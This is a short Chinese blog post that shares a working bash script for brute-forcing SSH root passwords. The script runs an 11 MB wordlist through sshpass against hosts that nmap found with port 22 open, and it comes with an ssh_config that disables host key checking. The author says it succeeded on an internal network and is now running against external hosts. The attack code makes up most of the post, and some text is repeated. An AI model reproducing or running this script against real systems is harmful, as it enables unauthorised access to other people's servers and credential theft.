暴力破解脚本 shell
2017-01-17 09:26
1431 查看
突然间懵生了一个想法 然后就做了(第一次觉得工作这么有趣!!!) 内网已经测试能够成功 外网正在测试,字典比较大估计要跑好几天
先把脚本贴出来:
hosts 是通过nmap 扫描出来22端口为开启状态的主机
wordlist.txt 是sqlmap自带的暴力破解字典 大概11M左右
ssh_config 添加配置:
先把脚本贴出来:
#!bin/bash gateway=172.16.80 #nmap -p 22 172.16.81.* |grep open -a3 |grep for|cut -d " " -f5 >hosts hosts=`cat hosts` pass=`cat wordlist.txt` #sshpass -p "yuan" ssh root@172.16.81.73 "ls" #[ $? == 0 ] && echo "the server is ok " for i in $hosts; do echo "正在准备请稍后" for p in $pass; do echo "server is $i passwd is $p" sshpass -p "$p" ssh root@$i "ls" [ $? == 0 ] && echo "这台server $i已经破解 $p" >>server 2>&1 done done
hosts 是通过nmap 扫描出来22端口为开启状态的主机
wordlist.txt 是sqlmap自带的暴力破解字典 大概11M左右
ssh_config 添加配置:
StrictHostKeyChecking no Compression yes ServerAliveInterval 60 ServerAliveCountMax 5 ControlMaster auto ControlPath ~/.ssh/sockets/%r@%h-%p ControlPersist 4h
相关文章推荐
- Linux(RHEL、CentOS)服务器用Shell脚本来防止SSH和vsftpd暴力破解
- 用shell脚本防ssh和vsftpd暴力破解的详解讲解
- Linux(RHEL、CentOS)服务器用Shell脚本来防止SSH和vsftpd暴力破解
- 暴力破解网站用户注册验证码的SHELL脚本示范
- 用SHELL脚本来防SSH和vsftpd暴力破解(第②版) 推荐
- SSH防暴力破解shell脚本
- 用SHELL脚本来防止SSH和vsftpd暴力破解
- CentOS7 下一个利用安全日志和防火墙防止暴力破解的SHELL脚本
- shell脚本,防止sshd被暴力破解
- linux下shell脚本防ssh暴力破解
- 用SHELL脚本来防SSH和vsftpd暴力破解(更新版)
- 用shell 脚本来防ssh ftp 暴力破解
- 用SHELL脚本来防SSH和vsftpd暴力破解
- 用shell脚本防ssh和vsftpd暴力破解的详解讲解
- 使用Shell 脚本防止SSH暴力破解
- Burp suite 暴力破解shell密码详细教程
- 防止ssh暴力破解的脚本
- owa_outlook暴力破解脚本
- Python脚本暴力破解栅栏密码
- shell防ssh破解脚本